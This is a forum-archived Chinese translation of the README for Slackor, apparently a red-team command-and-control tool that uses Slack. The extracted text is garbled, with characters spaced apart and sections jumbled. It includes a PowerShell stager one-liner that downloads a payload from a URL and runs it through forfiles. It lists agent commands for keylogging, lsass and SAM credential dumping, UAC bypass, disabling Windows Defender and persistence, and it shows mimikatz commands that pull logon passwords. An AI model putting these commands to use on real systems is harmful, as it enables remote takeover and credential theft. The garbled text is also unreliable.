搜索

[14588] 2019-09-15_Slackor：Go语言写的一款C&C服务器

文档创建者：s7ckTeam
浏览次数：20
最后更新：2025-01-18
2019-09-15_Slackor：Go语言写的一款C&C服务器 S l a c k o r ： G o 语 言 写 的 一 款 C & C 服 务 器 周 大 涛   F r e e B u f   2 0 1 9 - 0 9 - 1 5 该 项 目 的 灵 感 来 自 该 项 目 的 灵 感 来 自 G c a t 和 和 T w i t t o r 。 。 编 译 编 译 注 意 ： 服 务 器 是 用 P y t h o n   3 编 写 的 为 此 您 需 要 准 备 1 . S l a c k 工 作 区 2 . 并 为 s l a c k 应 用 设 置 以 下 权 限 ： 这 个 仓 库 包 含 五 个 文 件 ：   安 装 依 赖   用 于 创 建 通 道 ， 数 据 库 的 脚 本   用 于 生 成 后 门 的 脚 本   S l a c k o r 服 务 器 ， 在 L i n u x 上 运 行   g o l a n g 后 门   P y t h o n 依 赖 如 何 开 始 ： 为 您 的 应 用 程 序 提 供 O A u t h   t o k e n c h a n n e l s : r e a d c h a n n e l s : h i s t o r y c h a n n e l s : w r i t e f i l e s : w r i t e : u s e r f i l e s : r e a d 创 建 一 个 机 器 人 i n s t a l l . s h s e t u p . p y a g e n t . p y s e r v e r . p y a g e n t . g o r e q u i r e m e n t s . t x t g o   g e t   g i t h u b . c o m / C o a l f i r e - R e s e a r c h / S l a c k o r c d   $ G O P A T H / s r c / g i t h u b . c o m / C o a l f i r e - R e s e a r c h / S l a c k o r i n s t a l l . s h s e t u p . p y
成 功 运 行 脚 本 后 ， 脚 本 将 在 目 录 中 创 建 几 个 文 件 ： 在 L i n u x 主 机 上 启 动 后 ， 运 行 模 块 以 生 成 单 线 程 和 其 他 d r o p p e r 。 这 将 执 行 I n v o k e W e b R e q u e s t （ P S   v . 3   + ） 以 下 载 p a y l o a d ， 使 用 L O L B i n 执 行 它 用 法 用 法 输 入 或 按 查 看 可 用 命 令 列 表 。 输 入 以 查 看 该 命 令 的 描 述 。 S l a c k o r 代 理 进 入 后 ， 您 可 以 与 其 进 行 交 互 。 使 用 进 入 代 理 提 示 符 。 输 入 或 按 查 看 可 用 命 令 列 表 。 S l a c k o r : A G E N T O P S E C 注 意 事 项 注 意 事 项 除 S l a c k 的 T L S 传 输 加 密 外 ， 命 令 输 出 和 下 载 的 文 件 都 是 A E S 加 密 的 。 模 块 将 在 执 行 写 入 磁 盘 的 任 务 之 前 发 出 警 告 。 执 行 s h e l l 命 令 时 ， 请 注 意 /   将 执 行 。 这 可 以 在 主 机 上 监 控 。 以 下 是 几 个 不 执 行 / 的 O P S E C 安 全 命 令 ： 未 来 的 目 标 未 来 的 目 标 d i s t / a g e n t . w i n d o w s . e x e ： W i n d o w s   6 4 位 二 进 制 文 件 a g e n t . u p x . e x e ： W i n d o w s   6 4 位 二 进 制 文 件 ， U P X 打 包 a g e n t . d a r w i n ： m a c O S   6 4 位 二 进 制 文 件 a g e n t . 3 2 . l i n u x ： L i n u x   3 2 位 二 进 制 文 件 a g e n t . 6 4 . l i n u x ： L i n u x   6 4 位 二 进 制 文 件 s e r v e r . p y s t a g e r p o w e r s h e l l . e x e   i w r   [ U R L ]   - o   C : U s e r s P u b l i c [ N A M E ] . e x e ;   f o r f i l e s . e x e   / p   c : w i n d o w s s y s t e m 3 2   / m   s v c h o s t . e x e   / c   C : U s e r s P u b l i c [ N A M E ] ;   t i m e o u t   2 ;   d e l   C : U s e r s P u b l i c [ N A M E ] . e x e h e l p [ T A B ] h e l p   [ C O M M A N D ] h e l p   -   显 示 帮 助 菜 单 i n t e r a c t   -   与 代 理 交 互 l i s t   -   列 出 所 有 已 注 册 的 代 理 商 r e m o v e   -   杀 死 并 删 除 代 理 r e v i v e   -   向 所 有 代 理 发 送 信 号 以 重 新 注 册 服 务 器 s t a g e r   -   生 成 单 行 程 序 以 下 载 执 行 植 q u i t   -   退 出 程 序 w i p e f i l e s   -   从 S l a c k 中 删 除 所 有 上 传 的 文 件 i n t e r a c t   [ A G E N T ] h e l p [ T A B ] -   常 用 命 令     -   b a c k     -   返 回 主 菜 单     -   b e a c o n   -   更 改 代 理 每 次 登 记 之 间 的 时 间 （ 默 认 为 5 秒 ）     -   d o w n l o a d -   将 代 理 程 序 中 的 文 件 下 载 到 S l a c k o r 服 务 器     -   h e l p   -   显 示 帮 助 菜 单     -   k i l l     -   杀 死 进 程     -   s l e e p   -   代 理 睡 眠 一 次 时 间 （ 以 秒 为 单 位 输 入 时 间 ）     -   s y s i n f o -   显 示 当 前 用 户 ， 操 作 系 统 版 本 ， 系 统 体 系 结 构 和 C P U 核 心 数     -   u p l o a d   -   从 S l a c k o r 服 务 器 上 传 文 件 到 代 理     -   w g e t   -   通 过 H T T P   /   H T T P S 下 拉 任 意 文 件 -   W i n d o w s 命 令     -   b y p a s s u a c   -   生 成 代 理     -   c l e a n u p   -   删 除 持 久 化 操 作     -   c l i p b o a r d   -   检 索 剪 贴 板 的 内 容     -   d e f a n g e r   -   去 除 W i n d o w s   D e f e n d e r     -   d u p l i c a t e   -   使 代 理 生 成 另 一 个 自 身 调 用     -   g e t s y s t e m   -   将 代 理 生 成 为 N T A U T H O R I T Y   /   S Y S T E M     -   k e y s c a n   -   在 代 理 上 启 动 键 盘 记 录 器     -   m i n i d u m p   -   从 l s a s s . e x e 转 储 内 存 并 下 载     -   p e r s i s t   -   通 过 在 A D S 中 植 入 二 进 制 文 件 来 创 建 持 久 性     -   s a m d u m p   -   尝 试 转 储 S A M 文 件 以 进 行 脱 机 哈 希 提 取     -   s c r e e n s h o t   -   获 取 桌 面 的 屏 幕 截 图     -   s h e l l c o d e -   执 行 x 6 4 原 始 s h e l l c o d e -   M a c 命 令 -   L i n u x 命 令     -   s c r e e n s h o t   -   获 取 桌 面 的 屏 幕 截 图 c m d . e x e b a s h c m d . e x e b a s h -   c a t   -   打 印 文 件 内 容 -   c d   -   更 改 目 录 -   f i n d   -   搜 索 目 录 文 件 名 -   g e t i p   -   获 取 外 部 I P 地 址 （ 发 出 D N S 请 求 ） -   h o s t n a m e   -   显 示 主 机 的 名 称 -   i f c o n f i g   -   显 示 接 口 信 息 -   l s   -   列 出 目 录 内 容 -   m k d i r   -   创 建 目 录 -   p w d   -   打 印 当 前 工 作 目 录 -   r m   -   删 除 文 件 -   r m d i r   -   删 除 目 录 -   w h o a m i / g e t u i d   -   打 印 当 前 用 户
1 . D O S f u s c a t i o n 2 . 反 复 加 载 D L L   /   P E   -   h t t p s : / / g i t h u b . c o m / v y r u s 0 0 1 / g o - m i m i k a t z 3 . 在 内 存 中 执 行 C ＃ 程 序 集   -   h t t p s : / / g i t h u b . c o m / l e s n u a g e s / g o - e x e c u t e - a s s e m b l y 4 . 源 代 码 混 淆 h t t p s : / / g i t h u b . c o m / u n i x p i c k l e / g o b f u s c a t e 常 问 问 题 常 问 问 题 这 对 红 队 这 对 红 队 / 测 试 使 用 是 否 安 全 ？ 测 试 使 用 是 否 安 全 ？ 是 的 ， 考 虑 到 一 些 条 件 。 当 数 据 在 传 输 过 程 中 加 密 时 ， 代 理 包 含 用 于 解 密 的 密 钥 。 获 取 代 理 副 本 的 任 何 人 都 可 以 对 其 进 行 反 向 工 程 并 提 取 A P I 密 钥 和 A E S 密 钥 。 任 何 妥 协 或 以 其 他 方 式 获 得 对 工 作 区 的 访 问 权 限 的 人 都 能 够 检 索 其 中 的 所 有 数 据 。 因 此 ， 不 建 议 针 对 多 个 组 织 重 用 基 础 结 构 。 M i m i k a t z 怎 么 样 ？ 怎 么 样 ？ 植 入 物 没 有 内 存 中 的 密 码 转 储 功 能 。 如 果 您 需 要 l o g o n P a s s w o r d s ， 可 以 尝 试 以 下 操 作 ： 这 将 使 用 P y p y k a t z 自 动 提 取 密 码 。 或 者 ， 您 可 以 在 W i n d o w s 上 使 用 M i m i k a t z 。 它 是 跨 平 台 的 吗 ？ 它 是 跨 平 台 的 吗 ？ 它 的 跨 平 台 支 持 有 限 。 它 尚 未 在 可 以 运 行 的 所 有 系 统 上 进 行 全 面 测 试 。 该 服 务 器 旨 在 在 K a l i   L i n u x 上 运 行 。 代 理 程 序 是 针 对 W i n d o w s ， M a c 和 L i n u x 编 译 的 ， 但 主 要 是 使 用 W i n d o w s   1 0 进 行 测 试 。 代 理 程 序 可 能 会 错 误 处 理 该 代 理 程 序 平 台 不 支 持 的 命 令 （ 不 要 尝 试 对 M a c 进 行 小 型 化 ） 。 它 的 规 模 如 何 ？ 它 的 规 模 如 何 ？ 可 伸 缩 性 受 S l a c k   A P I 的 限 制 。 如 果 您 有 多 个 代 理 ， 请 考 虑 增 加 未 使 用 的 信 标 的 信 标 间 隔 。 它 是 否 容 易 受 到 标 准 信 标 分 析 的 影 响 ？ 它 是 否 容 易 受 到 标 准 信 标 分 析 的 影 响 ？ 目 前 ， 每 个 信 标 都 内 置 了 2 0 ％ 的 抖 动 ， 并 且 可 以 定 制 信 标 时 间 。 只 要 没 有 收 到 新 命 令 ， 代 理 登 记 请 求 和 响 应 数 据 包 每 次 大 小 大 致 相 同 。 它 被 杀 软 发 现 ！ 它 被 杀 软 发 现 ！ 现 在 这 是 开 源 的 ， 它 必 然 会 有 问 题 。 我 们 会 尽 可 能 地 修 复 模 块 ， 但 无 法 保 证 这 将 始 终 绕 过 所 有 A V 。 参 考 来 源 ： 参 考 来 源 ： G i t H u b ， ， F B 小 编 周 大 涛 编 译 ， 转 载 请 注 明 来 自 小 编 周 大 涛 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 ( S l a c k o r :   A G E N T ) m i n i d u m p > m i m i k a t z . e x e m i m i k a t z   #   s e k u r l s a : : M i n i d u m p   l s a s s d u m p . d m p m i m i k a t z   #   s e k u r l s a : : l o g o n P a s s w o r d s
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理